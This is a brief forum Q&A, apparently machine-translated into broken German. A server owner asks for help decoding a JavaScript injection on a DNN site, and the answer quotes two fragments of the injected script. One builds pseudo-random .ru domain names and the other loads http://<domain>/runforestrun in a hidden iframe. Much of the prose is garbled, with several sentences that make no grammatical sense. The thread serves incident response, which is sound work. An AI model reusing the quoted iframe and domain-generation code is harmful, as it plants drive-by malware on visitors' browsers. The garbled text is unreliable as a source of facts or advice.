km0ae9gr6m js Injektion hack Informationen

Question

1. Ich frage mich nur, ob ein JS-Experte diese Skript-Injektion entschlüsseln kann, dass ich unseren Server auf weitere Infektionen überprüfen kann.

2. Hat jemand eine Idee, wie das passiert wäre? Der Server ist vollständig gepatcht (MS Server 2008, Plesk), die Web App ist vollständig gepatcht (DNN 5.6.7).

3. Haben Sie alle injizierten Skripte entfernt & zurückgesetzt alle Server-Passwörter .. Irgendetwas anderes, was ich tun sollte? Dabei wird Erzeugung semistochastische Domain-Namen (in .ru)

Thanks :)

Answer 1

Was dieser Code landet und dann versucht, sie in einem versteckten iframe zu laden. Die entsprechenden Abschnitte sind:

domainName=generatePseudoRandomString(unix,16,'ru') 

und:

ifrm.setAttribute("src","http://"+domainName+"/runforestrun?sid=cx") 

Kein Zweifel, der Inhalt heruntergeladen je nachdem, was man arbeitet, ist eine Art des Bösen ...
